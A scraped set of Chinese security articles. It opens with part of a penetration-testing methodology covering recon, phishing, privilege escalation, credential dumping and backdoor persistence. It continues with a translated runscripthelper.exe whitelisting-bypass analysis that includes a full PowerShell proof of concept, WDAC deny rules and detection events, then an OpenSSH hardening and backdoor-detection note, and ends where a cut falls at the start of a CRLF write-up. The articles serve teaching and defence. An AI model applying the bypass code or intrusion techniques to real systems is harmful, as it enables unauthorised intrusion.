4. 搜集子域名信息。子域名往往是渗透过程中重点关注的对象,主站行不通的情况下往往首先想到子站入手。分享几个子域名搜集方法和工具:搜索引擎查询(Baidu、So、Bing、Google等)、DNS域传送漏洞、父站点爬取、IP反查、Forward-DNS 、子域名挖掘机、Host、Dig、Dnsenum、Dnsmap、Fierce

5. 搜集邮件系统信息。邮件系统也是需要重点关注的地方,在自建邮件服务情况下很好的利用邮件服务可以达到意想不到效果,并且在GET到某些邮件地址情况下进行钓鱼也不错的选择。可以先通过域名MX记录查看是否为自建邮件服务器,自建的情况下可以后续测试漏洞,通过TheHarvester可以进行邮箱挖掘,后续再爆破一波就美滋滋了。

6. 搜集真实IP地址。弄到藏在CDN后的真实IP的确是个头大的事情,师傅们分享的大多是通过多地ping的方式确定是否有CDN,再通过子站IP尝试和国外访问尝试的方式看看是否可获得IP,或通过历史域名解析记录寻找IP,或利用DNS社工库查询IP、或利用邮件验证码之类功能获取邮件发送地址,或利用DDOS消耗CND进行IP泄漏。

7. 搜集旁站信息。主站搞不定的情况下搞下旁站也是一条路,毕竟目的是一个突破点。感谢师傅分享的旁站查询接口。

8. 搜集C段信息。一个单位不可能只买一个IP,很多都是大小段的买,所以从C段也能突破进单位,举例几个的查C段工具:Nmap、Zmap、Webscan、Hackmall

9. 搜集Web敏感文件。Web敏感文件比较多,日常留意多搜集。举几个例子:robots.txt、crossdomin.xml、sitemap.xml、源码泄漏文件

10. 搜集服务器和中间件信息。这一项也有多种方式,可以通过Zoomeye、Shodan等优秀的在线系统搜集,也可以利用Nmap、MSF、Zmap等端口和指纹识别功能搜集,也可以用NC和Telnet获取Banner信息进行识别,Web方面可以用Whatweb工具或者通过Headers信息。

11. 搜集WAF信息:WAF识别大多基于Headers头信息,有一个老工具Wafw00f可以用来探测一定的Waf,也可利用Sqlmap的waf脚本,也可使用Nmap的http-waf-detect和http-waf-fingerprint脚本,也可自己平时多收集Waf特征。

12. 搜集历史漏洞。若能够在根据已有信息情况下找到一枚历史漏洞将会是一个巨大的帮助。漏洞查询站点举例:exploitdb 、hackerone、CNVD 、0day5 、乌云漏洞库镜像站。

从信息到规划

根据已搜集的信息进行梳理与分析,查找疏漏点进行搜集补充,从各个角度都整理一套渗透攻击步骤与思路的规划,优先以最擅长的方面切入,优先以最有把握的点切入,以不打草惊蛇为原则。


漏洞挖掘与利用

漏洞挖掘

站点漏洞挖掘是大家都经常搞的了,挖洞技能全靠平时积累学习。看文章的师傅们水平目测都比我高,这里不班门弄斧了,只分享下一般站点漏洞挖掘的个人习惯(不对地方还请指出,3Q)。

1. 针对站点漏洞挖掘,我个人不喜欢直接上AWVS、Appscan、Nessus之类的重量级扫描器,一方面用重量级扫描器会很容易被负责的运维人员发现,这样无疑会增大接下来的渗透难度;另一方面会被绊IP,这样就损失部分代理或肉鸡;再一方面还有一定机率对站点数据和服务造成破坏,这也是渗透最不想看到的事;再者说现在的站点也没有能轻易被扫描器扫出来的Web漏洞。

2. 对一个站点,我一般会习惯性的按着从系统漏洞探测到中间件漏洞探测再到Web漏洞探测的过程。虽说大多数情况下系统漏洞和中间件漏洞碰到的不多,但万一走运了。对系统漏洞和中间件漏洞挖掘,常用Nmap脚本、MSF模块、F-MiddlewareScan框架等工具。对于Web漏洞探测,若是CMS站点首先去寻找版本漏洞,也可以WPScan、Joomscan、M7lrv-CMS之类工具扫一扫,也可以利用CMS-Exploit-Framework框架利用漏洞,但大多CMS攻击还需要靠自己积累学习(挖0day);若是自行开发的Web站点,那就需要发挥一个Web狗的特长了,先搞帐号熟悉一下基本功能和结构,重点地方重点排查,从注册到登录到功能到……从注入到跨站到第三方功能组件……多多探测,多多fuzz。

3. 主站搞不下搞旁站,旁站搞不下搞C段,只要得到一个突破口就够了。站点都不好弄情况下,还可以根据已有的信息进行社工以获得更多的信息,信息越多进行密码破解可能性越大,顺便分享个密码包(ps:忘了从哪掏的包了,感谢收集者。)。

4. 若对测试目标左挖右挖都挖不到能利用的点,那也不,还有一项:APT攻击。一个测试目标,即便站点维护强固,但也很难保证内部员工安全素质极高,一点小小的疏漏就给了攻击者可趁之机。做一个有深度的APT攻击是个很耗时耗力的事情,但对于测试目标安全性能底线而言,可以进行一个小型的APT攻击。现在常见的APT攻击手段就是水坑攻击和鱼叉式网络钓鱼。攻击的前提是社工得到足够的内部员工的体系结构、上网习性等信息,了解体系结构才能知道在哪里能够获得更有用的信息,了解上网习性才能利用习性漏洞进行开展入侵。一个软件使用版本、使用习惯都会给攻击者带来一个入侵点,但攻击者肚里也要有足够的量。反正只要能通过水坑攻击或鱼叉式钓鱼等方式搞到一台内部机,剩余的都是搞内网的事情了。

漏洞利用

1. 利用挖掘出来的漏洞也要很小心,能把服务打瘫痪的漏洞就先不要尝试了。

2. 对于系统漏洞和中间件漏洞,自己常用的就是msf和exploitdb直接利用现成脚本工具打,但特别情况下也需要修改或自造脚本。

3. 对于逻辑漏洞、越权、CSRF/XSRF之类的漏洞,在没法扩大渗透深度的情况下就可以写这项的报告了。

4. 对于SSRF漏洞,环境允许的情况下可以很好的利用它进行内网探测与攻击,关于SSRF推荐猪猪侠师傅的《一个只影响有钱人的漏洞》文章。

5. 对于任意文件上传漏洞,能拿shell就可以做跳板搞内网了。

6. 对于任意文件包含和任意读取,一般就是远程包含拿shell,本地读取拿文件,特别情况下还可以扩大利用。

7. 对于SQL注入漏洞,注入要有“度”,能得到管理员密码进后台上shell就知足了,千万别动别的,利用方式上提倡自写脚本。

8. 对于XSS漏洞,不要习惯性的拿弹窗测试,不建议使用别人搭建的平台,可以利用BlueLotus_XSSReceiver搭建或者利用BeEF或者利用XSSer或者写个小脚本自建。

其他漏洞就不一一举例了,反正在隐秘测试的情况下,能悄悄的就悄悄的。

漏洞挖掘与利用辅助工具也就那些常用的那些,除了上面列举外再举例几个自己比较习惯的:Firefox插件(Hackbar、HackSearch、HttpRequester、Live Http headers、Modify Headers、Netcraft Anti-Phishing Toolbar、NoScript、Wappalyzer、Web Developer)、御剑、椰树、dirb、K8fly、Sqlmap、BurpSuite、AntSword、Hashcat、Hydra、Medusa。


提权与维权

提升权限

虽说仅仅是个测试,但很多情况下提权还是要的,这是变点为面的前提。当然,提权也未必是在自己拿到的站点服务器或钓到的那个主机上提权,提权目的是有个高权限的机子来方便测试整个内网,比如可以以已有机器为跳板以远程提权方式来打到内网其他主机的高权限,所以只要在内网任意机器上拿到可进一步渗透利用的高级权限就够了。提权方法也有很多,不同环境下有不同的姿势。

1. 系统漏洞提权。windows下可以用systeminfo查看系统版本和补丁记录,利用没修补的漏洞提权,例如MS11080等;linux下可以用uname -a查看系统内核版本,利用系统内核漏洞提权(内核提权很容易导致系统崩溃,要小心),例如心脏出血等。

2. 数据库提权。一方面可以利用数据库漏洞得到数据库执行权的Shell;另一方面可以在站点数据库配置文件找数据库帐号密码,利用数据库系统命令执行功能获得数据库执行权的Shell。数据库漏洞上例如mssql的JOB提权、mysql的Mof提权。

3. Web中间件漏洞提权。通过Web服务的容器漏洞进行本地提权。例如IIS溢出、Tomcat提权等。

4. 第三方软件提权。很多开机自启的软件都会以system权限运行,或者使用者启动时使用了管理员权限运行。例如Radmin、Filezllia、搜狗拼音提权等

5. 系统错误配置提权。在windows下可以使用BeRoot工具进行系统配置检查,利用配置错误点进行提权。

6. 获取高权限账号提权。可以在控制机上利用LaZagne project(支持linux、windows、mac),可以抓取chats、mails、database、wifi、sysadmin、wallet、browsers、memory中的密码,可以利用抓取到的密码进行高权限帐号密码测试,也可以利用神器mimikatz和mimipenguin,不过在部分时候由于权限问题可能读取不到部分密码。

维持权限

维权也是一个必须的点,好不容易搞到的跳板可不能轻易丢了。维权也就是所谓的留后门,无论windows下还是linux下留后门姿势都多种多样,我也就只列举几个吧。

1. 服务器站点可以采取构造Web漏洞方式维权。我感觉这种方式比放上个马可靠多,同时漏洞构造的隐蔽一些,让其他人给利用了就不好完了。比如可以构造复杂的文件包含漏洞包含放在某个系统目录下的木马图片来获取Shell,也可以构造SQL注入利用Sqlmap的--os-shell参数来执行Shell。

2. 服务器站点可以使用过狗过盾的复杂马维权。复杂马的构造需要私下自己多实验多构造了。

3. Linux、Windows账户维权。这个方法只适合没有做LDAP或堡垒机之类的SSO统一权限管理和没有屏蔽对外端口的情况,可以利用密码读取工具读取到的密码进行保持权限,也可以自建linux隐藏账户、windows隐藏账户的方式保持权限。

4. 工具法维权。工具概括来说就是主动反弹和被动连接两种。两种方式各有优缺点,例如:主动反弹方式既可以放在有公网IP的服务器站点也可以放在内网钓到的机子上,并且更方便规避防火墙、IPS等阻碍,但需要设定触发机制,不能做到想连就连;被动连接方式能够随时连,但无法利用在内网机子上(除非你拿了上层路由做了端口映射)。利用上例如msf生成后门、nc反弹,脚本反弹shell等。

内网渗透

内网渗透基本都是依据当前所获得的网络环境进行策略制定,不同环境方式不同,但内网中能搞得也就常说的那些,在有比较靠谱的防火墙、NIDS、IPS的情况下内网就更加难搞了,时时刻刻还要提防它们。这里也就之列举一下常用的内网思路。

常用套路

1. 网络拓扑探测。探测拓扑是个很头大的事,子内网和防火墙都会阻碍拓扑探测。大多也只能探测到上层网、公共网、内网服务器网的网络环境,再有些其他因素就导致探测的更少了。

2. 内网弱口令。内网弱口令其实还是蛮多的,可以对同子网个人电脑、内网服务器、交换机、路由器尝试弱口令破解。

3. 内网服务器漏洞。若在OA之类的内网办公通讯站点,可以挖到漏洞就可以获取到部分有助内网渗透的信息。

4. 内网路由器漏洞。无论是上层网路由还是内网服务器网路由,只要拿下路由器那就是个很大的帮助,这样就可以进一步做端口映射和转发,更好的其搜集其他内网信息,扩大了攻击面。

5. 内网个人电脑漏洞。例如利用17010之类的远程漏洞测试同子内网中的个人电脑,进而多搜集信息,以方便测试内网服务器。一个不错的内网信息搜集脚本:地址

6. 内网钓鱼。和一般钓鱼思路差不多,不过内网中更容易让别人信任,可以通过OA和办公邮件进行钓鱼。

7. 中间人攻击。不同环境下可以用不同的姿势,一般用的多的就是ARP欺骗、DNS欺骗、会话劫持,进行中间人攻击的前提是取得一定的内网权限。

8. 内网穿透。在进行部分攻击时候,可能需要让其他内网电脑穿过外网出口进行辅助测试,这里推荐一篇不错的穿越边界的姿势,另外经过Web站点做代理进行穿透时候还需要做Web端口复用。


后记

一场正规测试下清理痕迹就可以省了,所以这里也不写了,但还是需要老老实实供出在人家网络干了哪些事,以免以后出其他乱子扣在自己头上。另外还需要撰写漏洞报告,一个漂亮的报告是渗透测试的满意答卷,漏洞报告上不仅要体现出漏洞危害程度与漏洞细节,相应的修补建议尤其是内网修补建议要详细、规格、严谨。

文段也就写到这里了,师傅们有什么对小文若感觉有什么不妥和建议可以留言,我必虚心接受。


感谢

http://www.CodeSec.Net/articles/system/58096.html

http://bobao.360.cn/learning/detail/4158.html

https://bbs.ichunqiu.com/thread-16020-1-1.html

https://www.secpulse.com/archives/50288.html

http://www.CodeSec.Net/articles/system/91791.html

http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

https://www.wxzhi.com/archives/014/ode5hy48icqv32xu/

http://www.CodeSec.Net/sectool/39875.html



【技术分享】黑盒渗透测试的一些姿势和个人总结
【技术分享】黑盒渗透测试的一些姿势和个人总结
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4664.html

【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

$
0
0
【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

2017-11-08 10:10:42

阅读:638次
点赞(0)
收藏
来源: specterops.io





【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

作者:興趣使然的小胃





【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、简介

在实践PowerShell课程中的某个实验时,我偶然发现了System32目录下存在一个PowerShell宿主进程,该程序为runscripthelper.exe,经过微软的签名。windows 10 RS3系统中刚刚引入这个程序,其功能是从特定目录读取PowerShell代码并加以执行。这种执行PowerShell代码的方式有一些副作用,我们可以借此绕过受限语言模式的限制。

反编译runscripthelper.exe后,其入口点如下所示:

private static int Main(string[] args) { try { if (args.Length != 3) { throw new Exception("Invalid command line"); } string text = args[0]; string text2 = args[1]; string text3 = args[2]; if (string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text3)) { throw new Exception("Invalid args"); } if (!Program.k_scriptSet.Contains(text)) { throw new Exception("Unknown script"); } string text4 = Environment.ExpandEnvironmentVariables(Program.k_utcScriptPath); if (text2.Length <= text4.Length || !text4.Equals(text2.Substring(0, text4.Length), StringComparison.OrdinalIgnoreCase)) { throw new Exception("Unknown script path: " + text2); } text2 = Program.GetShortPath(text2); text3 = Program.GetShortPath(text3); if (text.CompareTo("surfacecheck") == 0) { SurfaceCheckProcessor.ProcessSurfaceCheckScript(text2, text3); } } catch (Exception ex) { Console.WriteLine("Exception occurred: " + ex.Message); Console.WriteLine("Inner Exception: " + ex.InnerException); return -1; } return 0; } 如你所见, 该程序接受三个命令行参数:

1、参数#1必须与"surfacecheck"字符串匹配,才能执行ProcessSurfaceCheckScript方法,这个方法会接收传入的第2及第3个参数。

2、参数#2包含待执行脚本的完整路径,并且会跟“k_utcScriptPath”全局变量进行比较(“k_utcScriptPath”这个环境变量展开后为“\\?\%ProgramData%\Microsoft\Diagnosis\scripts”)。

3、参数#3为一个已有目录的具体路径,命令输出结果会保存到该目录。

根据上述代码,待执行的脚本似乎必须位于%ProgramData%\Microsoft\Diagnosis\scripts目录中。默认情况下(至少在我当前系统下),普通用户不具备对该目录的写入权限。而理想情况下,我更希望能以非特权用户身份来绕过受限环境。因此,如果我能在runscripthelper.exe启动时以某种方式控制%ProgramData%的内容,我应该可以让该程序从可控的目录中执行脚本。待会我们再回到这个主题,现在我们可以先分析一下ProcessSurfaceCheckScript方法,看看它执行的是哪些内容:

public static void ProcessSurfaceCheckScript(string scriptPath, string outputPath) { if (!File.Exists(scriptPath)) { throw new Exception("Script does not exist"); } if (!Directory.Exists(outputPath)) { throw new Exception("Output path does not exist"); } PowerShell powerShell = PowerShell.Create(); powerShell.AddScript("Set-ExecutionPolicy -Scope Process unrestricted"); powerShell.AddScript("$InvokedFromUIF = $true"); powerShell.AddScript("$FailureText = \"UIF\""); powerShell.AddScript("$ScriptPath = \"" + Path.GetDirectoryName(scriptPath) + "\""); powerShell.AddScript("$LogDir = \"" + outputPath + "\""); SurfaceCheckProcessor.ReadCmdlets(powerShell, scriptPath); string script = File.ReadAllText(scriptPath); powerShell.AddScript(script); powerShell.Invoke(); if (powerShell.HadErrors) { foreach (ErrorRecord current in powerShell.Streams.Error) { Console.WriteLine("Error: " + current); Console.WriteLine("Exception: " + current.Exception); Console.WriteLine("Inner Exception: " + current.Exception.InnerException); } } } 因此,从代码表面上来看,ProcessSurfaceCheckScript方法的功能是读取脚本的内容并加以执行(顺便提一下,该方法并不在意脚本的文件扩展名)。在运行AppLocker或者Device Guard的系统上(现在Device Guard已改名为Windows Defender Application control),由于程序的发布者为微软,因此该程序很有可能会被添加到白名单中,该进程中执行的任何PowerShell代码都会以全语言模式(full language mode)执行,因此攻击者可以绕过受限语言模式的限制。

二、利用方法

作为一名攻击者,我们需要控制%ProgramData%的内容,将其指向我们能控制的某个目录。想完成这个任务可以有多种方法,我所知道的一种方法就是在调用Win32进程创建函数时,设置Win32_ProcessStartup类实例中的EnvironmentVariables属性。此外,WMI还提供了远程调用功能,这个功能有许多好处,并且有几个WMI宿主应用不大可能会被应用白名单机制所阻拦。与此同时,如果你没有传入程序预期的许多环境变量,许多子进程就无法正常加载。

成功控制传递给runscripthelper.exe的环境变量后,我们可以使用如下命令来执行我们的载荷:

runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test

能够绕过限制机制的完整PowerShell代码如下所示:

function Invoke-RunScriptHelperExpression { <# .SYNOPSIS Executes PowerShell code in full language mode in the context of runscripthelper.exe. .DESCRIPTION Invoke-RunScriptHelperExpression executes PowerShell code in the context of runscripthelper.exe - a Windows-signed PowerShell host application which appears to be used for telemetry collection purposes. The PowerShell code supplied will run in FullLanguage mode and bypass constrained language mode. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause .PARAMETER ScriptBlock Specifies the PowerShell code to execute in the context of runscripthelper.exe .PARAMETER RootDirectory Specifies the root directory where the "Microsoft\Diagnosis\scripts" directory structure will be created. -RootDirectory defaults to the current directory. .PARAMETER ScriptFileName Specifies the name of the PowerShell script to be executed. The script file can be any file extension. -ScriptFileName defaults to test.txt. .PARAMETER HideWindow Because Invoke-RunScriptHelperExpression launches a child process in a new window (due to how Win32_Process.Create works), -HideWindow launches a hidden window. .EXAMPLE $Payload = { # Since this is running inside a console app, # you need the Console class to write to the screen. [Console]::WriteLine('Hello, world!') $LanguageMode = $ExecutionContext.SessionState.LanguageMode [Console]::WriteLine("My current language mode: $LanguageMode") # Trick to keep the console window up $null = [Console]::ReadKey() } Invoke-RunScriptHelperExpression -ScriptBlock $Payload .OUTPUTS System.Diagnostics.Process Outputs a process object for runscripthelper.exe. This is useful if it later needs to be killed manually with Stop-Process. #> [CmdletBinding()] [OutputType([System.Diagnostics.Process])] param ( [Parameter(Mandatory = $True)] [ScriptBlock] $ScriptBlock, [String] [ValidateNotNullOrEmpty()] $RootDirectory = $PWD, [String] [ValidateNotNullOrEmpty()] $ScriptFileName = 'test.txt', [Switch] $HideWindow ) $RunscriptHelperPath = "$Env:windir\System32\runscripthelper.exe" # Validate that runscripthelper.exe is present $null = Get-Item -Path $RunscriptHelperPath -ErrorAction Stop # Optional: Since not all systems will have runscripthelper.exe, you could compress and # encode the binary here and then drop it. That's up to you. This is just a PoC. $ScriptDirFullPath = Join-Path -Path (Resolve-Path -Path $RootDirectory) -ChildPath 'Microsoft\Diagnosis\scripts' Write-Verbose "Script will be saved to: $ScriptDirFullPath" # Create the directory path expected by runscripthelper.exe if (-not (Test-Path -Path $ScriptDirFullPath)) { $ScriptDir = mkdir -Path $ScriptDirFullPath -ErrorAction Stop } else { $ScriptDir = Get-Item -Path $ScriptDirFullPath -ErrorAction Stop } $ScriptFullPath = "$ScriptDirFullPath\$ScriptFileName" # Write the payload to disk - a requirement of runscripthelper.exe Out-File -InputObject $ScriptBlock.ToString() -FilePath $ScriptFullPath -Force $CustomProgramFiles = "ProgramData=$(Resolve-Path -Path $RootDirectory)" Write-Verbose "Using the following for %ProgramData%: $CustomProgramFiles" # Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path. [String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:\* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" } # Attacker-controlled %ProgramData% being passed to the child process. $AllEnvVarsExceptLockdownPolicy += $CustomProgramFiles # These are all the environment variables that will be explicitly passed on to runscripthelper.exe $StartParamProperties = @{ EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy } $Hidden = [UInt16] 0 if ($HideWindow) { $StartParamProperties['ShowWindow'] = $Hidden } $StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties $RunscriptHelperCmdline = "$RunscriptHelperPath surfacecheck \\?\$ScriptFullPath $ScriptDirFullPath" Write-Verbose "Invoking the following command: $RunscriptHelperCmdline" # Give runscripthelper.exe what it needs to execute our malicious PowerShell. $Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $RunscriptHelperCmdline ProcessStartupInformation = $StartParams } if ($Result.ReturnValue -ne 0) { throw "Failed to start runscripthelper.exe" return } $Process = Get-Process -Id $Result.ProcessId $Process # When runscripthelper.exe exits, clean up the script and the directories. # I'm using proper eventing here because if you immediately delete the script from # disk then it will be gone before runscripthelper.exe has an opportunity to execute it. $Event = Register-ObjectEvent -InputObject $Process -EventName Exited -SourceIdentifier 'RunscripthelperStopped' -MessageData "$RootDirectory\Microsoft" -Action { Remove-Item -Path $Event.MessageData -Recurse -Force Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier } } 不使用PowerShell我们也能绕过应用程序白名单机制,比如,我们可以使用wbemtest.exe(该程序为WQL测试工具)完成这个任务,演示视频如下:

在wbemtest.exe这个例子中,我的载荷存放在C:\Test\Microsoft\Diagnosis\scripts\test.txt中。此外,我所使用的环境变量如下所示:

“LOCALAPPDATA=C:\\Test” “Path=C:\\WINDOWS\\system32;C:\\WINDOWS” “SystemRoot=C:\\WINDOWS” “SESSIONNAME=Console” “CommonProgramFiles=C:\\Program Files\\Common Files” “SystemDrive=C:” “TEMP=C:\\Test” “ProgramFiles=C:\\Program Files” “TMP=C:\\Test” “windir=C:\\WINDOWS” “ProgramData=C:\\Test”

三、防御措施

如果使用的是Device Guard(现在是Windows Defender Application Control),你可以在已有的策略中添加如下规则来阻止这个二进制文件,可参考此链接了解添加规则的具体步骤:

<?xml version="1.0" encoding="utf-8"?> <SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy"> <VersionEx>10.0.0.0</VersionEx> <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID> <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID> <Rules> <Rule> <Option>Enabled:Unsigned System Integrity Policy</Option> </Rule> </Rules> <!--EKUS--> <EKUs /> <!--File Rules--> <FileRules> <Deny ID="ID_DENY_D_1" FriendlyName="runscripthelper.exe FileRule" FileName="runscripthelper.exe" MinimumFileVersion="65535.65535.65535.65535" /> </FileRules> <!--Signers--> <Signers /> <!--Driver Signing Scenarios--> <SigningScenarios> <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="runscripthelper.exe bypass mitigation"> <ProductSigners> <FileRulesRef> <FileRuleRef RuleID="ID_DENY_D_1" /> </FileRulesRef> </ProductSigners> </SigningScenario> </SigningScenarios> <UpdatePolicySigners /> <CiSigners /> <HvciOptions>0</HvciOptions> </SiPolicy>

四、如何检测

与其他PowerShell宿主进程一样,在脚本块(scriptblock)日志中会记录通过runscripthelper.exe执行PowerShell代码的动作,对应的事件为4014事件。


【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

此外,“Windows PowerShell”日志中的400事件也会捕捉到runscripthelper.exe所对应的命令行上下文信息。


【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制

五、何为runscripthelper.exe

什么是runscripthelper.exe?该文件中的如下字符串引起了我的注意:

InvokedFromUIF k_utcScriptPath Google一番后,我发现UIF代表“User Initiated Feedback(用户发起的反馈)”,而UTF代表“Unified Telemetry Client(统一遥测客户端)”。因此从字面上看,这个二进制文件是某种远程数据收集程序。为了避免微软向我的电脑推送并执行未经签名的PowerShell代码(并且这些代码很可能没有任何质量保证),我非常乐意在Device Guard代码完整性策略中阻止这个二进制程序的运行。

六、总结

因此,本文分析的这个签名应用可以被攻击者恶意滥用,经过进一步分析,我们发现系统并没有限制这类程序的使用场景,因为每次Windows发布新版时都会引入新的应用程序。这个事实也再次证实应用白名单(application whitelisting,AWL)仍然面临许多难题,其中一个基本的难题就是,如果我们想让一个可启动的、实用的系统保持最新状态,我们往往需要将经过微软签名的任何代码列入白名单中。这种决策会带来一些副作用,如果某些人在白名单维护方面态度非常严格,那么他们就需要实时关注像本文之类的文章,相应地更新黑名单规则。在白名单机制的基础上,使用这种黑名单规则可以取得很好的效果。然而想要维护这样一个黑名单并不是一件容易的事情,因为这个名单随着时间的推进会不断增长。需要明确的是,这一点并不是AWL的缺陷,只能算是AWL面临的一个挑战。我个人也会使用AWL,对这种机制的有效性也十分满意。绝大多数攻击者仍然会使用不可信的脚本或程序,在这种场景中,即使最基本的白名单策略应付起来也能游刃有余。

把AWL的事先放在一边不谈,单凭这类程序,攻击者就可以隐藏在良性的、“可信的”应用程序背后。因此,通过这个例子,我们需要总结出一个道理:白名单绕过技术是攻击者在后续攻击过程中的一大帮手,无论AWL机制是否存在,我们都应该对此有所警觉。

最后说一下,如果有人偶然发现微软向runscriphelper.exe推送了任何PowerShell代码,请上传这段代码并及时告诉我,不胜感激!



【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制
【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc

【技术分享】OpenSSH安全浅析

$
0
0
【技术分享】OpenSSH安全浅析

2017-11-08 10:08:57

阅读:650次
点赞(0)
收藏
来源: 安全客





【技术分享】OpenSSH安全浅析

作者:悬镜安全





【技术分享】OpenSSH安全浅析

SSH与OpenSSH

SSH 是建立在应用层基础上的安全协议,是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。我们常用的OpenSSH就是SSH协议的开源实现。


SSH与Shell组成

IETF RFC 4251 到 4256 将 SSH 定义为 “经由一个不安全网络进行远程登录和其他安全网络服务的安全 shell 协议”。shell 由三个主要元素组成。

传输层协议:提供服务器身份验证、隐私和具有完美转发隐私的完整性。该层可以提供可选压缩且通过一个 TCP/IP 连接运行,但是也可用于任何其他可靠的数据流之上。

用户认证协议:从服务器到客户端进行身份验证,且通过传输层运行。

连接协议:多路传输加密隧道到多个逻辑通道,通过用户认证协议运行。


如何让我们的OpenSSH更安全

一、基础配置,服务端配置文件为/etc/ssh/sshd_config

1、将 root 账户仅限制为控制台访问

PermitRootLoginno

2、仅使用 SSH Protocol 2

3、禁用空密码

PermitEmptyPasswordsno

4、用户登录控制

AllowUsersuser1@host1user1@!**@* DenyUsersuser2 5、配置 Idle Log Out Timeout 间隔
ClientAliveInterval300 ClientAliveCountMax0

6、禁用基于主机的身份验证

HostbasedAuthenticationno

7、禁用用户的 .rhosts 文件

IgnoreRhostsyes

8、强密码策略(生成14位随机字符密码)

</dev/urandomtr-dc'!@#$%^&*()-+=0-9a-zA-Z'|head-c14;echo""

9、pam_chroot

通过ssh远程登录的用户将被限制在jail环境中。

10、访问控制

tcpwrapper(/etc/hosts.allow,/etc/hosts.deny) iptables(限制源IP等)

二、攻防对抗

一旦攻击者获取了相关权限,就可能安装openssh后门、或者隐身登录等。接下来我们看看如何让攻击者无所遁形。

隐身登录(登录后,不能通过w、who查看到)

通过ssh –T来连接,但-T相当于notty,ctrl+C会中断会话;

另外,大家都知道,w查看时是通过utmp二进制log,如果攻击者在获取权限后,只要修改了utmp,就可以达到隐身效果,管理员再登录上来的时候,通过w、who就看不到已经登录的攻击者了,如下所示。


【技术分享】OpenSSH安全浅析

当然,这样操作会造成整个utmp为空,如果是在管理员登录之后再操作的话,还是会发现异常的。

同时也要处理下wtmp,否则还是会被审计到。

那么如何快递排查呢,我们可以通过ps命令查看进程,如下图所示。

我们可以看到当攻击者处理掉自己的记录后,管理员虽然通过w、who看不到,但是进程中却存在着攻击者登录申请的TTY。


【技术分享】OpenSSH安全浅析

以上只是简单的隐藏,通常情况下,攻击者获取权限后,会安装openssh后门,成功运行后门后,攻击者通过后门登录将不记录任何日志,正常用户登录该主机或者通过该主机通过ssh连接其他主机时,都会被后门记录到账号密码。

这里我们介绍如何利用操作系统自身的工具手工快速查找后门,主要用到strace、strings、grep。

通过openssh后门功能中会记录正常用户登录账号密码,因此猜测会用到open系统调用,只要在登录是用strace跟踪sshd打开的系统调用,然后过滤open,就应该能获取到记录密码的文件及路径。

strace–ossh–ff–ppid
【技术分享】OpenSSH安全浅析

【技术分享】OpenSSH安全浅析

可以看到记录文件中关键字为user:password,而且因为后门密码是硬编码在后门patch中的,因此我们通过关键字利用strings可以找到攻击者的openssh后门密码。


【技术分享】OpenSSH安全浅析

如果安全意识不高的攻击者使用了自己攻击机器的通用密码,通过抓包获取到攻击者攻击IP后,就有可能控制攻击者的机器。(意淫)

攻击者通过openssh后门登录后,w、who同样看不到登录信息,但ps查看进程,仍然可以看到申请到的TTY,也可以快速发现攻击行为。

以上只是最基础一些小tips,欢迎各位大佬拍砖。

本篇文章为悬镜安全实验室原创文章,如需转载请标注来源:http://lab.xmirror.cn/。


悬镜安全实验室介绍:

悬镜安全实验室由资深安全专家结合多年的安全工程实施经验和技术储备为行业客户提供专业的安全保障和安全咨询等服务,主要包括:服务器防黑加固、高级渗透测试、安全事件应急响应、信息系统安全风险评估、安卓App风险评估及APT模拟攻击测试等,全天候7*24位金融、电商、开发者和政企客户的各类应用服务提供一站式【云+端】防黑加固解决方案。



【技术分享】OpenSSH安全浅析
【技术分享】OpenSSH安全浅析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4673.html

【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞

$
0
0
【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞

2017-11-08 13:52:13

阅读:908次
点赞(0)
收藏
来源: shashank.co





【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞

作者:WisFree





【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


写在前面的话

这个漏洞我已经上报给“Blockchain.info”的漏洞奖励计划了。

Blockchain.info是目前世界上最受欢迎的比特币钱包之一,它可以给用户提供详细的比特币交易信息以及区块图形化记录。

什么是CRLF注入?

